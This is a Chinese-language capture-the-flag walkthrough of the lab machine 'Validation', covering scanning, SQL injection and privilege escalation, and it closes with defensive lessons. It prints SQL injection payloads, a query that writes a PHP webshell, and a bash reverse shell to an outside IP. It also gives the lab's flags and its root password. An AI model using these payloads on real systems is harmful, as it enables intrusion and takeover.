[Meachines] [Easy] Validation SQLI+信息泄露权限提升
字数 917 2025-08-22 12:23:36

SQL注入与信息泄露权限提升实战教学

1. 信息收集阶段

1.1 目标识别

  • 目标IP地址: 10.10.11.116
  • 使用命令检查目标是否在线:
nmap -Pn -sn 10.10.11.116

1.2 端口扫描

使用masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.11.116 --rate=1000 -e tun0

发现开放端口:

  • 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
  • 80/tcp: Apache httpd 2.4.48 (Debian)
  • 4566/tcp: nginx (403 Forbidden)
  • 8080/tcp: nginx (502 Bad Gateway)

1.3 服务版本探测

使用nmap进行详细扫描:

nmap -Pn -sV -sC -p 22,80,4566,8080 10.10.11.116

2. Web应用测试

2.1 发现SQL注入漏洞

http://10.10.11.116/account.php发现SQL注入点:

POST /account.php HTTP/1.1
Host: 10.10.11.116
Content-Type: application/x-www-form-urlencoded

username=x&country='

2.2 手动验证SQL注入

  1. 测试UNION注入:
username=x&country=' UNION SELECT 1--+
  1. 测试ORDER BY确定列数:
username=x&country=' ORDER BY 1--+

2.3 使用sqlmap自动化测试

  1. 基本检测:
python3 sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country'
  1. 文件读取利用:
python3 sqlmap.py -r sql --batch --level 5 --risk 3 -p 'country' --file-read='/etc/passwd'

3. 漏洞利用

3.1 写入Web Shell

构造SQL注入写入PHP webshell:

username=x&country=' UNION SELECT "<?php SYSTEM($_REQUEST['shell']);?>" INTO OUTFILE '/var/www/html/shell.php'-- -

3.2 获取反向Shell

使用curl触发webshell执行反向shell:

curl 'http://10.10.11.116/shell.php' --data-urlencode "shell=/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.28/445 0>&1'"

4. 权限提升

4.1 获取用户flag

cat /home/user/user.txt

用户flag: 3ac2b2e772e3990b49e4bff189e72540

4.2 发现特权凭证

发现全局密码: uhc-9qual-global-pw

4.3 获取root权限

使用发现的密码提升权限:

su root

输入密码: uhc-9qual-global-pw

4.4 获取root flag

cat /root/root.txt

root flag: c9c56229660a90c2f45caebacb21ecff

5. 关键安全教训

  1. 输入验证不足:

    • 未对country参数进行有效过滤
    • 允许特殊字符如单引号导致SQL注入
  2. 权限配置不当:

    • Web应用有写入web目录的权限
    • 使用root权限运行服务导致权限提升风险
  3. 信息泄露风险:

    • 全局密码硬编码或明文存储
    • 错误配置导致敏感信息可被读取
  4. 防御建议:

    • 使用参数化查询或ORM框架
    • 实施最小权限原则
    • 定期进行安全审计和渗透测试
    • 敏感信息加密存储
SQL注入与信息泄露权限提升实战教学 1. 信息收集阶段 1.1 目标识别 目标IP地址: 10.10.11.116 使用命令检查目标是否在线: 1.2 端口扫描 使用masscan进行快速端口扫描: 发现开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp: Apache httpd 2.4.48 (Debian) 4566/tcp: nginx (403 Forbidden) 8080/tcp: nginx (502 Bad Gateway) 1.3 服务版本探测 使用nmap进行详细扫描: 2. Web应用测试 2.1 发现SQL注入漏洞 在 http://10.10.11.116/account.php 发现SQL注入点: 2.2 手动验证SQL注入 测试UNION注入: 测试ORDER BY确定列数: 2.3 使用sqlmap自动化测试 基本检测: 文件读取利用: 3. 漏洞利用 3.1 写入Web Shell 构造SQL注入写入PHP webshell: 3.2 获取反向Shell 使用curl触发webshell执行反向shell: 4. 权限提升 4.1 获取用户flag 用户flag: 3ac2b2e772e3990b49e4bff189e72540 4.2 发现特权凭证 发现全局密码: uhc-9qual-global-pw 4.3 获取root权限 使用发现的密码提升权限: 输入密码: uhc-9qual-global-pw 4.4 获取root flag root flag: c9c56229660a90c2f45caebacb21ecff 5. 关键安全教训 输入验证不足 : 未对country参数进行有效过滤 允许特殊字符如单引号导致SQL注入 权限配置不当 : Web应用有写入web目录的权限 使用root权限运行服务导致权限提升风险 信息泄露风险 : 全局密码硬编码或明文存储 错误配置导致敏感信息可被读取 防御建议 : 使用参数化查询或ORM框架 实施最小权限原则 定期进行安全审计和渗透测试 敏感信息加密存储